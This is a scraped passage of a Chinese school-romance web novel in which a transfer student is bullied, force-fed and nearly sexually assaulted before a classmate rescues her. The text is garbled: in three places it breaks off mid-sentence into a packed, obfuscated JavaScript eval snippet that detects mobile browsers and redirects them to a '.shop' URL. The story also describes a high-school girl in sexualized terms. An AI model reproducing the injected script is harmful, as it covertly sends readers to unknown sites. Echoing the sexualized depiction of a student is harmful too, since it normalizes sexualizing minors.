第一节课,驰路回了家,老马让她先回去换身衣服。 她没想到谢劲舟也在家,正在院子里陪谢林乔玩跳格子的游戏。 一个嚣张狂妄的男生,玩小孩子的游戏,有种违和感,但跟小孩一起玩,远远望去,又觉得很有爱。 不知道是不是他跟谢林乔玩得忘我,驰路走过他身边时,他好像没看到,头抬都没抬,那双大长腿连续迈了三个格子,被谢林乔嚷着说他“犯规”。 谢林乔见到了驰路,有些疑惑地问她:“阿驰姐姐,你怎么也回来了?” 驰路找了个借口:“拿东西。” 谢林乔开学了才上一年级,驰路背上的字,还不认识:“阿驰姐姐,你衣服后面写的什么?” “我是驰路,超级厉害,姐最牛!” “阿驰姐姐,你也在我衣服后面写几个字。”谢林乔背过身。 驰路笑了,真是小孩啊,爱模仿大人。 “小乔,不要学姐姐,在衣服上写字不好,写了就擦不掉也洗不掉,衣服就报废了。” “哦。”谢林乔似懂非懂地说,“什么叫报废?” “就是衣服没有用了,要被扔掉了。” “我才不要扔掉衣服,衣服被扔掉了,我不就没衣服穿了。” “姐姐先上去换衣服,你跟哥哥好好玩。” “好的。” 驰路发现谢劲舟一直没看这边,兀自玩着格子游戏。 等驰路上去后,谢劲舟问谢林乔:“小乔,她几块糖就把你收买了?” “也不是。” “她还给了你什么?” “上次的积木玩具,不是我问小冬借的,是阿驰姐姐送我的。” “小乔,”谢劲舟舔了舔后槽牙,“你竟然敢欺骗哥哥了?” “哥哥,我不告诉你,是怕你生气。” “哥哥为什么要生气?” “因为,哥哥不喜欢阿驰姐姐。”谢林乔说,“早上奶奶让你送她去上学你都不愿意。” “你希望哥哥喜欢她吗?” “也不是不可以。” “为什么?” “以后就多个对我好的人了。” 谢劲舟有片刻的愣神,良久道:“小乔,以后她给你什么,你告诉哥哥,哥哥不生气,哥哥会对你更好。” 谢林乔立正敬礼:“收到!” * 驰路换完衣服下楼,看到楼下就只剩下谢劲舟,他正靠在他的超级宝贝上玩手机。 他被阳光笼着,浑身如披了层金光,耀眼得过分。 他为什么会回来?还一副等人的姿态?难道是等她的? 怎么可能等她!下辈子吧。 驰路想起她早上被黎静欺负时,他的置若罔闻和冷漠无情,真正地把陌生人发挥到极致。 他明明可以保护她的,不是吗?为什么不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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之前学校夏天的校服是白衬衫配百褶裙,但现在这身校服,红白色调,上衣是白色T恤,领子一圈是红色的,裤子是酒红色的,真是土得掉渣。 但胜在她本身就长得漂亮,身材又好,酒红色短裤下是一双光洁的大长腿,衬得她肤色格外白皙。 有人说:“这个级别,可以直接评选校花了。” 对于这样的评价,驰路不以为然,校花这样的头衔,她已经当过好几年了,不管她在哪里,她的美都是独特的,属于站在人群里,会误以为她是某位电影明星。 但也有对她冷嘲热讽的,是黎静:“就这样还能当校花?陪睡差不多。” 用词极其刺耳,踩到了驰路的雷区。 她走到黎静面前,看似笑着,实则狐狸眼里藏着冷冽与怒火,用只有黎静能听到的声音说:“黎静,你连陪睡的资格都没有。” 话说得轻飘飘,言语间充满讥讽。 来之前,许婉给她发信息,告诉她,她知道了早读课发生的事,让她不要告诉老师,不要招惹黎静,说黎静是他们班的大姐大。 驰路怕过什么?区区一个大姐大就能把她吓走?不可能! 她知道所谓的大姐大是什么德行,她们欺软怕硬,真正遇事了不抗事,想要面子,想出风头,想要别人对她们俯首称臣。 黎静被她说的话惹怒了,立马拎住她的衣服领子:“驰路,你胆子大了啊,敢回嘴?”她抬手就朝她的脸招呼过去。 驰路没躲,做好了被她打的准备。 她要让班里所有人都来见证这场赤裸裸的欺凌。 就在驰路以为黎静的巴掌会狠狠地落在她脸上时,结果什么都没发生。 她听到有人说:“黎静,住手!” 驰路转头看,是克制着情绪的江迟,他一向温和的眼里充满气愤。 这一刻,她想起了问谢劲舟的那句话:“舟哥,我的上帝,我的救世主,你做哪个?” 谢劲舟说:“驰路,老子不一直是你的救世主?” 狗屁的救世主! 早上黎静欺负她时,他无动于衷;现在黎静欺负她,他也无动于衷。 她没想到江迟会做出头鸟。 也许,喜欢一个人,就会滋生于勇气和力量吧。 黎静没打成驰路,气得甩开江迟的手,恶狠狠地盯着他:“江迟,我还没找你算账,是你找的马三拍吧?是你去告状的?” 江迟毫不犹豫地说:“是我。” 黎静嘲讽道:“她给你下了什么迷魂药,你就这么喜欢她?这么愿意做她的舔狗?” “我不是谁的舔狗,”江迟一字一句地说,“但……我可以做她一个人的小狗。” 19. 小蝴蝶遭欺凌 「换到一个新环境,就能安然无恙吗? 不,命运依然会毫无预兆地向我开枪。」 ——《小蝴蝶的暗夜》 班里一阵起哄声,有鼓掌的,有尖叫的,也有唉声叹气的:“我还没来得及跟他表白,他就要去做别人的小狗,我上辈子造了什么孽,老天爷要这么对我啊!!!” 驰路没想到江迟为了她,竟然大胆到这种地步,这时,她才认认真真地去看他,他长相格外清秀,看起来又很乖,像一只白色小泰迪。 她不经意地扫过最后一排靠门的位置,看到罗子昂正满脸复杂地看着她,旁边的谢劲舟看上去完全沉浸在他的世界里,正翘着二郎腿,埋头玩手机。 有那么一瞬,他抬头,一下子看到她,但很快又埋头玩手机。 “真是够狗的!”黎静哼笑道,“我告诉你们,不管是你们谁告诉马三拍的,都没用,他不就是对我们洗脑,让我们以后要跟新同学友好相处。” 她得意地笑着,抬手指着驰路:“驰路,你以后再说刚才那话,我就把你的嘴撕烂!” 江迟不甘示弱:“黎静,你要是再欺负驰路,我会去告诉教导主任。” 黎静毫不在意:“去吧,随便!” 江迟不想跟这样的人继续理论,跟驰路说:“驰路,我们走吧。” 驰路恨不得把嘴欠的黎静直接撂倒,但她还不想把刚维持一天的乖乖女人设弄崩掉。 驰路回了座位,她算明白了,这里欺负同学的代价跟她之前待的学校没两样,老师进行一番教育工作就放人。 欺凌同学的代价越低,欺凌方只会越嚣张。 她听到罗子昂说:“舟爷,你怎么不出手啊,你再不出手,人都要被拐走了。” “她不会被拐走的。” “为什么?” “她喜欢我这样的。” “……” 驰路本来一直都没回头,听到这话,终于没忍住,扭头去看,正好对上了谢劲舟的眼睛,他的眼里藏着一抹笑,自信的,势在必得的。 他哪儿来的自信,认为她喜欢他那样的! 看来他真是病得不轻! * 下午第二节课是体育课,大家进行自由活动,有留在操场上活动的,也有去教室学习的。 驰路本想回教室,却被许婉拉着在看台上看一帮青春热血的男生们打篮球。 许婉说:“驰路,你看谢劲舟是不是很帅,打起球来更帅了!” 驰路一眼便从一众人中看到了谢劲舟,他个高又帅,身材又很好,穿着宽松的篮球服,露出他胳膊上结实的肌肉。 他打球的姿势格外帅气,跑步、运球、传球、投篮,每一个动作,都透着嚣张的气焰,甚至还有股狠劲,像极了猎犬。 “他平时打球就这么狠吗?” “没有啊。”许婉微微皱眉,“他本来打球就够狠、够有范儿,不过……今天好像更狠了,这是谁惹他了。” 中场休息时,驰路远远看到有几个女生上前给谢劲舟送纸、送水,但他只拿了一个女生的水。 许婉指着那个女生,给驰路介绍:“看到那个给谢劲舟送水的女生了吗,她叫岑语欢,是他的青梅,在学校里没人敢惹她。” 驰路明知故问:“为什么?” “还能为什么啊,因为有谢劲舟罩着她啊。” “喜欢谢劲舟的女生,不会去找她的麻烦吗?” “肯定有想找的,但谁敢啊,招惹了岑语欢,不就招惹了谢劲舟。”许婉说,“而且啊,那些女生都知道岑语欢不喜欢谢劲舟,有的还让她给谢劲舟送情书。” 暑假期间,岑语欢没少来找过谢劲舟,送她亲自做的酸奶雪糕、芒果沙冰、杨枝甘露…… 当着驰路的面,跟他动作亲密,主动给他投喂草莓,跟他贴着手掌比大小,靠在他肩上说累了。 除此之外,还主动帮他洗衣服、刷鞋。 这青梅对他有多爱,才会做到这份上? 驰路看到岑语欢拿着纸巾给谢劲舟擦汗,但只碰了一下,谢劲舟就退后一步,直接撩起衣服擦,露出紧实诱人的腹肌、人鱼线,引得旁边的女生一阵阵尖叫。 但很快放下,那一道道伤疤,再次被隐在篮球服里。 这时,许婉的手机响了,她接完跟驰路说:“驰路,我同桌有事找我,我先过去一下啊,你继续欣赏美色。” “去吧。”驰路看着被女生围观的谢劲舟,他好像朝她的位置扫了一眼,匆匆而过,恍若错觉。 她正出神,听到有人叫她:“驰路,体育老师叫你去收拾下器材室。” * 这是一间并不大的器材室,里面放着垫子、篮球、篮筐等各种器材,看起来挺整齐,需要她怎么收拾? 驰路刚想问带她过来的女生,发现她走了,从外面走进来几个人,咚地关上了门,还上了锁。 她看到为首走过来的是黎静,一副大姐大样,得逞地笑着,旁边是跟着她的矮个小跟班女生,后面还带着两个身材魁梧的男生,一看便知,来者不善。 驰路瞬间明白,她中套了! 现在想走已经来不及了,她镇定地站在原地,余光却撇向身侧,看有没有什么可利用的武器,以备不时之需。 黎静走到她面前,见她丝毫不畏惧,眸子沉下去:“驰路,你不想知道我们为什么来找你吗?” 驰路嗤笑:“是要来展示你社会姐的风采?” 黎静被她的笑惹得有些怒,但故作不在意地说:“猜对了一半,还有一半是,让你知道乱说话的下场。” 黎静抬手一挥,后面两个男生走过去就要拽住驰路的手,结果她迅速地往后一退,拽住其中一个男生的手腕,刚想来个过肩摔,却因为对方过重,压根儿无法扛到肩上,低估对方的重量了。 驰路换了策略,抬脚想狠狠往这个男生的肚子踹去,对方往后一退,她踹了空。 她的后方遭来袭击,被人用重物砸了几下背,疼得她弯下腰。 趁着这空挡,后面男生用力拽住她的双手,她想转身,前面的男生拿来一根长棍,作势就要往她的脑袋上砸,这一棍子砸下去不死,也会得脑震荡。 驰路不得不低头,成功躲过一劫,却没能防得了后方来袭,对方把她的手绑在身后。 黎静从哪儿找来的男生?看来不是她班的,下手那么狠,动作那么快,一看就是经常打架的,难道是从外面找来的混混? 驰路被男生拖着坐在了地上,后面不知道是什么,咯得她的背不舒服。 黎静走到她身前,一把抬起她的下巴,用力一捏:“没想到你还有几下子啊,但有什么用,还不是我们的手下败将!” 驰路想要站起来,肩膀却被两男生分别压着,压根儿没法起来。她脸上没了乖巧,狐狸眼里露出锋利的光:“黎静,你使阴招算什么本事,有本事咱俩单挑,看谁是谁的手下败将!” “你当我傻啊,对付你这种人,就得使用这招。” “我是哪种人?” “贱/货!”黎静捏着她下巴的手收紧了些,“勾/引男人的贱/货!” 驰路被她捏疼了,气道:“你才是没皮没脸的贱货!喜欢谢劲舟,你就光明正大地去追啊,找我有个屁用!那么多女生喜欢谢劲舟,你就一个个像对我这样去对待她们?你累不累啊!” 她用力甩了下脑袋,甩开了黎静的手,朝她的脸上吐口水,精准地喷了她满脸。 黎静“啊啊”地跺脚叫唤两声:“你这个臭婊/子竟然敢朝我吐口水,小玲,来,朝她脸上吐,吐到一百下再停。” 小玲作为跟班小妹,怯生生地走来,身体有点发抖:“黎姐,真的要吐一百下吗?” “先吐了再说!”黎静见小玲害怕的样子,自己先做了表率,狠狠地朝驰路脸上喷口水。 驰路迅速侧脸,花洒似的口水只喷到她半边脸,但已经让她足够恶心。 “就这样喷,看到没有!”黎静把小玲拖到驰路面前,按她的头让她喷。 小玲只好闭着眼睛照做,吐了一下又一下,也不管吐得准不准。 空气中布满了口水味,驰路脸上的口水也越来越多,她感受到一种前所未有的耻辱感。 之前别人欺凌她的时候,都没使用这个烂招。 她称霸一方时,她的小跟班对别人做过这样的事,她作为旁观者,无动于衷。 现在她是被欺凌的一方,不只觉得恶心,她的自尊也在一遍遍遭受践踏。 她好想开口大声喊“救命”,可是一想到自己张口就要遭受别人口水的袭击,想想都恶心至极,终究忍了下来。 也不知被吐了多少下口水,仿佛过了一个世纪,驰路才听到黎静喊停的声音:“小玲,够了,拿家伙。” 驰路满脸布满口水,眼睛上也都糊满了,她微微睁开一条缝,看到小玲从塑料袋里拿东西。 看来黎静并不想就此放过她,她还要做什么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560736|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她微微张嘴,那些口水顺着她的脸颊流到了嘴里,她狠狠地吐掉,一阵反胃。 驰路不想再被她们恶意霸凌了,突生一计:“黎静,你知道我男朋友是谁吗?” “不就是那个江迟吗!” “是谢劲舟。”驰路睁开眼,扬眉笑,“你以为你这样对我,谢劲舟会放过你?” 黎静先是一惊,但很快笑了,笑声越来越大:“驰路,谢劲舟是你男朋友?你骗谁呢?他跟余夏分手后,还没有谁能成功上位。” “你不是看到他今天开摩托车送我上学了。”驰路没慌,淡定道,“你看过他什么时候开过那辆摩托车带过别的女生?他的后座上能坐的只有他的女朋友。” “放你的狗/屁!”黎静想抬手煽她的脸,但看到她脸上的口水,立刻停住,万分嫌弃地看她,“真是恶心,脏得要命,要是谢劲舟看到这个鬼样子的你,一辈子都不会喜欢你!” “就算不喜欢我,也不会喜欢你!”驰路抬脚朝黎静的腿上狠狠踢了一下,踢得她往后退了一步。 黎静被惹怒了:“小玲,继续!” 驰路看到小玲拿着一块硬饼干想要往她嘴巴里塞,她死命地闭着嘴。 黎静见小玲磨磨唧唧,催促:“小玲,你不会把她的嘴扒开。” 小玲这才扒开她的嘴,弄得满手都是口水,颤颤巍巍地把硬饼干往驰路的嘴巴里塞。 驰路挣扎着,一开始小玲并没有把饼干塞到她嘴里,直到她的脑袋被男生按住,小玲才得以顺利地将饼干塞进她的嘴里。 饼干上沾了刚才蹭到驰路脸上的口水,刚到嘴里,驰路就闻到了那股恶心的味道,心里一阵作恶。 这整人的方法,真是太恶心人了! 他们还要欺凌她多久?谁来救救她? “吃!”黎静弯腰看着神色痛苦的驰路,“有什么舍不得吃的,待会儿还有。” 除了硬饼干,还有一些怪味豆、麻辣薯片、榴莲糖等各种奇奇怪怪的东西被塞到了她的嘴巴里。 驰路的嘴巴被塞得满满的,一个字都说不出来。她固执地一口都没嚼,感到这些奇怪的东西要把她的嘴巴撑破了。 那些旧日被人欺凌的场景再次浮现,那帮人也是采用这样的方式对她,让她必须吃下去,不吃下去就狠狠揍她,直到让她吃得肚子被撑得像个西瓜。 “吃,给我吃下去!”黎静拿了一块长饼干,使劲地往她嘴里,塞得榴莲糖滑了下去,卡在了她的喉咙里,呛得她猛烈咳嗽几声,想往外吐,黎静却又继续塞,“让你乱说话!” 驰路望着面目可憎的黎静、胆怯的小玲,又看向紧锁的门,外面连个走动的人都没有。 她这是要继续被她们折磨下去? 她拼了命把嘴里的东西全部吐掉,大声喊“救命”。 刚喊了几声,便被黎静拿了块布塞进了她的嘴巴里,让她再叫不出一个字。 “谢劲舟的后座上不是只可以坐他的女朋友吗,”黎静看着一脸狼狈的驰路,鄙夷道,“如果你脏了,你觉得你还有机会成为他的女朋友吗?” 她这是要…… 驰路心生恐惧,直摇头,眼里露出求饶。 “你还知道害怕啊。”黎静抬头示意一旁的男生,“来吧。” 旁边的男生松开她的肩膀,走到她身前。 黎静跟小玲说:“待会儿记得拍下来。” 男生弯腰想要撩开驰路的衣服,驰路拼命挣扎着,嘴巴里也拼命喊着,却只能发出支支吾吾的声音。 窗外的阳光很烈,蝉鸣很响,大好人间,她却感觉自己正置身于黑暗之中。 她闭上了眼睛,等待命运的裁决。 男生离自己越来越近,身上的烟酒味浓烈得让她天旋地转。 那双大手即将要脱开她的衣服,她的牙齿紧紧地咬住布,恨不得把布咬烂。 她的身体止不住地颤抖着,仿佛掉进了极寒冰原,所有的冰块尽数往她的身体上、骨骼里砸,刺穿她所有的肌肤,砸破她全部的血管。 人间是好,却也荒唐,今日她的清白就要在此被葬送了吗? 就在她不抱任何幻想,准备接受命运的安排时,忽然听到门被人重重踹开了,听到门弹到墙上的声音。 是谁来救她了吗? 驰路睁眼,朝门的方向望去,一束光瞬间冲破了黑暗,洒进屋。 一抹高大颀长的身影,逆光而行。 如同荒野上跑得最快的猎豹,直冲过来。 20. 救世主解救小蝴蝶 「没想过要当谁的救世主,你是唯一一个。」 ——《孤舟难行》 他发了狠,像扔破抹布似的,把想要掀驰路衣服的男生,甩到了一旁的墙上,发出沉闷的重响。 身旁的声音没有止息,是打在身体上的一下下的重响,还有女生的尖叫声。 驰路一抬头,看到了雾霾蓝头发的男生。 是谢劲舟。 他来了! 谢劲舟直接把两个男生打翻在地,抬脚狠狠地踹其中一个男生的身体,踢得那么狠,目光里满是凶光。 “舟哥,饶命啊,舟哥……”挨打的男生一声声地求饶着,“是黎静找我来的。” 谢劲舟把驰路嘴里的布拿出来,随即看向黎静,眼神犀利得像要射出刀剑,沉声道:“过来!” 黎静看着地上两个像烂泥一样的男生,吓得浑身发抖,声音发颤:“舟哥,我错了。” 她哪里敢过去,身体抖得像筛子。 旁边的小玲吓得直说:“是黎姐让我做的。” 谢劲舟见黎静没过来,神色冷得像结冻的寒冰。 在他这里,有不打女生的规定,不论是他,还是他的兄弟,都不可以欺负弱者。 但能这样轻饶她们吗? 他的那帮兄弟知道谢劲舟的作风,看着黎静和小玲说:“自己来吧。” 黎静懂一些规矩,连忙跪地磕头求饶,小玲也跟着做。 黎静边磕头边求饶:“舟哥,我错了,下次不敢了。” 谢劲舟冷眼睨她:“你该跟谁道歉,都不知道?” 黎静从乱发中看着驰路:“驰路,我错了,是我小心眼了,你大人有大量,饶了我吧。” “饶了你们也不是不可以。”驰路走过来,看了看黎静,又看了看小玲,“你们刚才怎么对我的,就怎么对对方,一个环节都不能落下。” 驰路拎起地上的袋子,扔到两人面前。 袋子里装着硬饼干、怪味豆、麻辣薯片、榴莲糖…… 而后,黎静、小玲开始了互相投喂的环节,外加朝对方脸上吐口水。 两人都狼狈不已,哭着求饶。 谢劲舟拿出手机,问黎静:“说,这次为什么要教训你?” 黎静把自己欺负驰路的事一五一十地说了,每个字都被谢劲舟录了音。 录下了黎静犯下错误的证据,谢劲舟问黎静:“在这里发生过什么吗?” “舟哥,什么都没发生。” “下次怎么对驰路?” “井水不犯河水。” “滚!” 黎静四人连滚带爬地离开了。 * “我艹,舟爷,他们够恶心人的,竟然这样对待驰妹。”罗子昂这才看清驰路脸上的污秽。 谢劲舟帮驰路解开绑在她手腕上的绳子,看到她白皙的手腕上已经被勒出了红印。 他用粗粝的指腹轻轻地摸着那些红印:“疼吗?” 驰路觉得刚才的一切像一场幻梦,她终于被人从寒冷冰原里解救出来了,她的体温正在一点点恢复,但心却在结冰。 她没有回复谢劲舟,发怔地看着地上的血迹,一块一块的,在提醒着她,刚才发生的不是梦,是真的。 如果谢劲舟没有及时来,他们会怎样对她? 想想她都觉得后怕。 谢劲舟看着面前的驰路,她屈膝环抱自己,下巴放在膝盖上,蜷成小小的一团,一动也不动。 那么高傲的她,此刻却像被风霜打蔫儿的野草,再无半分生机。 谢劲舟弯下腰,蹲到她面前,看着她无神又悲伤的眼睛,哪里还有平日里的一点桀骜,变了个人似的,模样可怜兮兮,像需要被人守护的小孩。 有点像伤心时的谢林乔。 他心里的某块坚硬瞬间塌了,冲进来一波柔软的浪花,浪花一路翻越,每次都漫过叫“驰路”的地方。 谢劲舟把小小的她抱到怀里,摸着她的脑袋,一向冷冽的声音变得柔和:“阿驰,舟哥来了,别怕!” 语气柔和得像哄小孩。 驰路把脸靠到他的肩膀上,一下一下地蹭着,蹭到他坚硬的骨骼,才算有了点实感。 谢劲舟想到她狼狈脸上的污秽,蹙了蹙眉:“别蹭了,都把老子的衣服弄脏了。” 驰路没管,继续蹭着,像只蹭主人腿要食吃的猫:“谢劲舟……” 谢劲舟抬手要拨开她的脑袋:“我在。” 驰路的声音有点哑:“谢劲舟……” “说话。”谢劲舟有点不耐烦,想拨开她脑袋的手放了下来。 “谢劲舟,你说你会一直是我的救世主,敢不敢做到底?”驰路终于不蹭他的肩膀了,从他的肩窝里钻出脑袋,看着谢劲舟。 谢劲舟看到驰路的瞬间,忽然愣住了,她狼狈的脸上流淌着的不知是什么液体,但好像比刚才还多了,怎么越擦越多? 她的眼眶红红的,一行热泪滚出来。 “老子有什么不敢的!”谢劲舟的心像被人狠狠拨动了下,“阿驰,从现在起,我不会让任何人欺负你!” * 谢劲舟把驰路带到器材室外面的水池旁。 驰路一遍遍地洗着脸,好像怎么洗也没法将那些污秽洗掉。 她狠狠地搓着,把脸搓红了、搓疼了也没停下来,直到谢劲舟抓住她的手:“好了,干净了。” 驰路这才停下来,抬头看谢劲舟:“干净了?” “干净。”谢劲舟看着她脸上的水珠,在阳光下折射出金子般的光芒,光芒下是泛红的皮肤,看起来那么不自然,她的眼底下方也是一片红。 他抬手轻轻地擦她脸上的水珠,一滴滴水珠像眼泪般,砸到他的心底。 谢劲舟眼底没了那股冷冽,看她的眼神柔和得像天边舒展的云朵:“阿驰,是舟哥不好,舟哥来晚了。” 一旁的罗子昂被这一幕辣到了眼睛。 他没想到,他这一向对女生冷漠以对的舟爷,对驰路的售后服务工作好到让他大跌眼镜。 罗子昂见谢劲舟把驰路脸上的水珠基本都擦完了,才说:“舟爷,以后咱们在学校还要装不认识驰妹吗?” 谢劲舟依然看着驰路,帮她把悬在右眼睫上的那滴水珠点掉:“你说呢?” 指腹划过她眼尾的那颗胭脂痣,像划过一颗波澜壮阔的星辰,触手炽热、滚烫。 * 黎静没再敢找驰路的麻烦,一下午,驰路上课听得有些心不在焉、心思飘忽,晚自习刷的题错了不少。 她知道自己的状态不对,许婉喊她去食堂吃晚饭她也没去,江迟送她的晚饭她也没吃,罗子昂、安然给她发的信息,她也没回。 她把自己活成了一颗孤独的宇宙,好像只要躲在这颗小宇宙里,她就是安全的。 下了晚自习,驰路收着练习册、错题集往书包里装,等收拾好,从后门走出去时,发现后面跟着人。 她一转身,看到了谢劲舟、罗子昂。 罗子昂笑着说:“驰妹,我们护送你回去。” 从教室里跑出来的许婉追上来,听到了罗子昂说的,震惊地看向驰路:“驰路,他们护送你回去?” 驰路说:“顺路。” 许婉感到驰路从上了体育课后,整个人都显得不对劲,像朵被打蔫儿的花儿,无精打采。 到了楼下,许婉说:“驰路,你不是还没买新的自行车吗,我让我家司机先送你回去。” 谢劲舟说:“不用,我送她。” “放心吧,许婉,舟爷办事你还不放心。”罗子昂说完发现不对,在许婉看来,他跟谢劲舟都是混混,主动送驰路回去,岂不是不安好心? 果然,许婉一点儿也不放心:“驰路,还是我让司机送你回去吧。” “许婉,你回去吧。”驰路凑到许婉耳边,小声说着什么。 许婉听得极为震惊,反复地看了看谢劲舟和罗子昂,难以置信地问驰路:“真的?” 驰路点点头。 “好吧,那我先走了。”许婉交代,“驰路就交给你们了,一定要安全送回家!” “没问题。”罗子昂看着许婉远去的背影,问驰路:“驰妹,你跟许婉说了什么,她放心你跟我们走?” 驰路压低声音:“我说,我住谢劲舟家。” 罗子昂朝她竖大拇指:“驰妹,够勇啊!” 谢劲舟扫了驰路一眼:“你这是想昭告天下?” 驰路抬眸看他:“不可以吗?” “随你,早晚都知道。”谢劲舟拧了下眉,“你知道大家知道的后果吗?” “能有什么后果,”驰路苦笑道,“我住芳町三中校霸家里,以后谁还敢惹我。” “你就不怕喜欢我的人找你麻烦?”谢劲舟余光瞥见周围有不断朝他看过来的女生,“比如黎静那样的。” “不是有你吗。”驰路的狐狸眼一眨,长睫毛扇子似的扇动着,摄人心魄,“舟哥,你打算怎么保护我?” “担心什么,”谢劲舟抖出一根烟,叼在嘴里,语气张狂,“老子有的是办法保护你!” * 驰路跟着谢劲舟来到了车棚,看到了他那辆深蓝色的摩托车。 谢劲舟拿出头盔帮她戴上,根本不顾别的女生看过来的眼神。 “那是高三七班的转校生吧,怎么勾搭上了校霸的?” “谁知道啊,你看她那长相,看起来乖,眼睛勾人呢,说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560737|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是她主动勾引校霸的。” “那么多女生往校霸身上扑,校霸不会喜欢这种类型的。” “校霸喜欢什么类型的?” “胸大、腰细、翘臀、活好的。” “那她好像一个都不符合啊。” …… 驰路以为谢劲舟会说点什么,但他什么都没说。 她看到他的嘴角好像浮现一抹痞坏的笑。 他上下打量她,她穿着宽松的校服,纤瘦的身体藏在校服里,给人一种她瘦成豆芽的错觉。 但谢劲舟知道,她身段妖娆,凹凸有致,是一个深夜会时不时爬到他床上的小妖精。 胸大、腰细、翘臀,她都有,至于活好不好,有待考证。 * 摩托车疾驰在校园里,轰隆隆地一路向前,把骑自行车的、走路的学生们远远地甩在身后。 晚风燥热,吹在驰路脸上热热的。 他身上的烟草味、皂香味,随风一丝一缕地吹入她的世界。 周遭世界热热闹闹,却都好像成了背景板。 她把脑袋侧靠在他的背上,感到了前所未有的安心。 这一路,她感到他的速度好像比早上开得慢,一路也开得很稳。 等到了家,驰路解开头盔问他:“速度怎么降下来了?” 谢劲舟淡淡道:“早上开那么快,你不是说怕吗。” 驰路心头没来由的一暖:“知道关心人了?” “关心你?”谢劲舟撑好车,把头盔放好,挑了下眉眼,“我怕你会跟早上一样,乱叫。” 谁乱叫了?她只不过在他猛烈加速时“啊”了一声。 “小谢,阿驰,你们回来啦。”谢奶奶从屋里走出来。 两人异口同声地叫了声“奶奶”。 “欸。”谢奶奶笑着应。 谢劲舟见谢林乔没在:“小乔呢?” 谢奶奶指了指楼上:“她在楼上,小冬在陪她玩。” 谢劲舟准备上楼去,谢奶奶望着他的背影,提醒他:“两人要是闹不愉快了,别老说小冬,有时候也要说说小乔,知道吗?” “知道了。”谢劲舟头也不回地拐进楼梯间。 * 驰路回屋后先去洗了下澡,这次比平时洗得时间要长。 水流声哗哗作响,从她的头顶往下,水珠滑过她的身体,一直流到脚踝。 心里的浪潮一波一波地涌来,比身上的水珠要猛烈得多。 她以为换个新环境就会好了,以为离开那些嫉妒她的、恨她的人,一切都会好转。 现在她算是明白了,在哪里都一样,人的本性没变,嫉妒、恨意本就潜伏在每个人的身体里,一旦被激发,便拥有无穷的杀伤力。 往日一幅幅被霸凌的画面在脑中像放映电影般一一闪过,他们踹她、打她、剪她头发、强喂她吃的…… 他们骂她是“贱/人”“骚/货”“灵魂腐朽”“注定要下地狱”…… 一朝坠落,人人诋毁,她成了罪恶之源。 可现在的她,有罪吗?她又得罪过谁? 委屈、酸楚、难过一阵阵地朝她兜头袭来,把她的心塞得满满的,她快要喘不过气。 她无力地往下滑,沿着染上水雾的瓷砖一点点滑,直到蹲在地上,木然地看着前面一个唯一特别的瓷砖。 那是一簇绽放的玫瑰花,叶片翠绿,红花娇艳,看起来有些俗,却在这朦胧的水雾中,透出一种梦幻的美感。 世界并非都是昏暗无光的,只是她的世界被蒙了尘烟,她有些看不清前路。 账户余额里的钱被花了个精光,但老妈还没有给她打钱,给老妈打电话也没能打通。 今天一下午没吃任何东西,明天呢?后天呢?如果老妈还不给她打钱,她就要饿死。 老妈崇尚及时行乐,热爱她的花花世界,这她能理解,但把她随便扔到一个没事先了解过情况的人家,也鲜少问她的现状,她难过、气愤。 冲刷在她身上的水越来越温、越来越凉,直到脸上滚过两行温热,她才猛然发现自己竟然哭了。 她好像行至荒原,万物皆灭,剩她一人喁喁独行。 黑暗笼罩四野,哪里都没有光,不知谁唱响仓促而绵长的挽歌。 这破碎的人间,何处才是她的光明山? “咚咚”,是谁敲响了她的世界,像是一场错觉。 又是两声“咚咚”,驰路朝门的方向望去,磨砂玻璃门上似乎有一双手,曲指敲着门。 她这才猛然惊醒,连忙慌乱地擦掉脸上的泪水,把自己蜷缩得更厉害,嗓音有些哑:“谁?” “驰路,你死里面了吗?还不出来!” “……” 21. 小蝴蝶先抱的我 「我期待有一张温床,里面盛放着月亮。 这时,你来了。 时而给我微光,又时而给我阴影。」 ——《小蝴蝶的暗夜》 驰路从浴室里出来时,看到了痞里痞气歪靠在墙上的谢劲舟,正低头玩手机。 “今天不去网吧?”驰路难得见他晚上在家。 “嗯。”话音刚落,谢劲舟的手机里弹出一条消息:舟哥,你怎么还没来网吧,今晚你夜班。 谢劲舟退出游戏,给他发:我让小五帮我替班了,他等会儿就到。 驰路装没听见:“刚才你说什么?” “你怎么洗这么久?”谢劲舟抬眸看她,看到眼前的她稍稍一怔。 驰路穿着一条绸缎的黑色V领吊带裙,露出胸前一大片光洁的肌肤。 湿漉漉的黑发散乱地落在肩头、锁骨上,白皙的脖颈、锁骨上泛着胭脂般的红晕,像被人亲过落下的吻痕,不由得让人浮想联翩。 她的身体每一处都散发着诱人的气息,玫瑰香气阵阵袭来,宛若一朵盛放的野玫瑰,开在高山之巅,难以触摸。 她的眼睛红红的,像刚哭过,眼底泛出涟漪的光,是一朵你看一眼就想保护的野玫瑰。 “老子以为你死里面”这样的话终究没再说出口。 驰路有些不满地抬头看他:“有谁规定洗澡多久吗?” 谢劲舟见她一直不出来,怕她晕倒,胡诌:“一直开着水龙头,费水。” “电费、水费,我都会补给你的。”驰路想到了那告罄的余额,又是一阵悲。 